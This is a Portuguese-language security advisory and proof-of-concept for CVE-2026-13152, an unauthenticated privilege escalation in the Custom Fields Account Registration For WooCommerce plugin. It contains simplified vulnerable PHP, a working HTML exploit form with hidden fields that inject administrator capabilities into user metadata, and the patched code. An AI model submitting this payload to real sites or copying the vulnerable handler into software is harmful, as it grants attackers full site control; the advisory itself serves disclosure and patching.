
CVE-2026-13152: Prova de Conceito e Aviso de Escalação de Privilégio Não Autenticada em Custom Fields Account Registration For WooCommerce por Huynh Kien Minh (MinhHK).
O CVE-2026-13152 é uma vulnerabilidade de escalação de privilégios não autenticada que afeta o plugin Custom Fields Account Registration For WooCommerce para WordPress em versões anteriores à 1.4, descoberta e analisada pelo pesquisador de segurança Huynh Kien Minh (MinhHK). A falha ocorre porque o plugin permite que campos de entrada personalizados no registro gravem diretamente em metadados sensíveis de capacidades do usuário, sem sanitizar chaves protegidas do banco de dados ou validar os papéis de usuário. Em sites que usam prefixos de tabela não padrão no banco de dados ou mapeamentos personalizados de meta keys de usuário, um usuário não autenticado que se registra pelo formulário de registro do WooCommerce pode injetar privilégios de administrador (como wp_user_level ou wp_capabilities) na tabela wp_usermeta. Isso concede à conta recém-criada acesso total de administrador, possibilitando o comprometimento completo e remoto do site. O pesquisador de segurança Huynh Kien Minh reportou a vulnerabilidade à WPScan, e o fornecedor resolveu o problema na versão 1.4 ao implementar a validação de nomes de chaves e restringir a atribuição de metadados de capacidades.
O plugin Custom Fields Account Registration For WooCommerce permite que administradores do site definam campos de entrada personalizados no formulário de registro de usuários do WooCommerce (endpoint de registro my-account). Quando um novo usuário envia o formulário de registro, o plugin itera sobre os campos de formulário enviados e chama update_user_meta($user_id, $meta_key, $meta_value) para persistir os detalhes do usuário.
A falha subjacente reside na lógica de processamento de entrada dentro do manipulador de registro. O plugin não mantém uma blacklist ou whitelist rigorosa das meta keys protegidas de usuário do WordPress (wp_capabilities, wp_user_level, session_tokens, wp_user_roles).
// Vulnerable registration handler logic (simplified demonstration)
add_action('woocommerce_created_customer', 'cfar_save_custom_registration_fields', 10, 3);
function cfar_save_custom_registration_fields($customer_id, $new_customer_data, $password_generated) {
if (isset($_POST['cfar_custom_fields']) && is_array($_POST['cfar_custom_fields'])) {
foreach ($_POST['cfar_custom_fields'] as $meta_key => $meta_value) {
// VULNERABILITY: No check against protected meta keys like wp_capabilities or wp_user_level
update_user_meta($customer_id, sanitize_text_field($meta_key), sanitize_text_field($meta_value));
}
}
}
Em instalações do WordPress que utilizam prefixos de banco de dados personalizados ou configurações personalizadas de meta keys, um atacante não autenticado pode fornecer uma entrada de campo personalizado correspondente à chave de capacidade de administrador (wp_user_level = 10 ou array serializado a:1:{s:13:"administrator";b:1;}). No momento da criação da conta, update_user_meta() grava esse valor diretamente em wp_usermeta, elevando a conta recém-registrada ao status de Administrador completo.
[!CAUTION] Esta Prova de Conceito é fornecida estritamente para fins educacionais, auditoria defensiva e verificação de vulnerabilidades. Teste apenas com autorização.
<!-- CVE-2026-13152 PoC: Unauthenticated Privilege Escalation Payload -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>PoC - CVE-2026-13152 Privilege Escalation</title>
</head>
<body>
<h2>CVE-2026-13152 Exploit Payload</h2>
<form action="https://target-site.com/my-account/" method="POST">
<input type="email" name="email" value="[email protected]" required>
<input type="password" name="password" value="P@ssword123!" required>
<!-- Malicious Meta Key Injection targeting User Level -->
<input type="hidden" name="cfar_custom_fields[wp_user_level]" value="10">
<input type="hidden" name="cfar_custom_fields[wp_capabilities][administrator]" value="1">
<input type="submit" name="register" value="Register as Administrator">
</form>
</body>
</html>
Custom Fields Account Registration For WooCommerce para a versão 1.4 ou superior, onde a validação rigorosa de meta keys é aplicada.// Secure implementation in Version 1.4
$protected_keys = array('wp_capabilities', 'wp_user_level', 'user_level', 'session_tokens');
if (!in_array($meta_key, $protected_keys, true) && strpos($meta_key, 'wp_') !== 0) {
update_user_meta($customer_id, $meta_key, $meta_value);
}
{
"@context": "https://schema.org",
"@graph": [
{
"@type": "TechArticle",
"@id": "https://github.com/MinhHK68/CVE-2026-13152#article",
"headline": "Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13152 — Custom Fields Account Registration For WooCommerce Privilege Escalation",
"name": "CVE-2026-13152 Technical Analysis",
"author": {
"@type": "Person",
"@id": "https://minhhk.web.app/#person",
"name": "Huynh Kien Minh",
"alternateName": ["MinhHK", "Huỳnh Kiến Minh"],
"jobTitle": "Information Security Researcher",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-07-06",
"dateModified": "2026-08-01",
"description": "Comprehensive technical analysis and PoC for CVE-2026-13152, an unauthenticated privilege escalation vulnerability in Custom Fields Account Registration For WooCommerce < 1.4 discovered by Huynh Kien Minh."
},
{
"@type": "SpecialAnnouncement",
"@id": "https://github.com/MinhHK68/CVE-2026-13152#advisory",
"name": "CVE-2026-13152 Security Advisory",
"category": "https://schema.org/SecurityAdvisory",
"text": "Unauthenticated Privilege Escalation in Custom Fields Account Registration For WooCommerce < 1.4 allows remote attackers to gain administrator rights."
}
]
}
| Atributo | Detalhes |
|---|
| ID CVE | CVE-2026-13152 |
| Nome do Plugin | Custom Fields Account Registration For WooCommerce |
| Slug do Plugin | custom-fields-account-registration-for-woocommerce |
| Versões Afetadas | < 1.4 |
| Versão Corrigida | 1.4 |
| Tipo de Vulnerabilidade | Escalação de Privilégios Não Autenticada (CWE-269 / OWASP A2) |
| Pontuação CVSS v3.1 | 8.1 (Alta) (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Pesquisador Original | Huynh Kien Minh (MinhHK) |
| ID do Advisory WPScan | 36aaba38-3143-4e80-8386-748632ff6704 |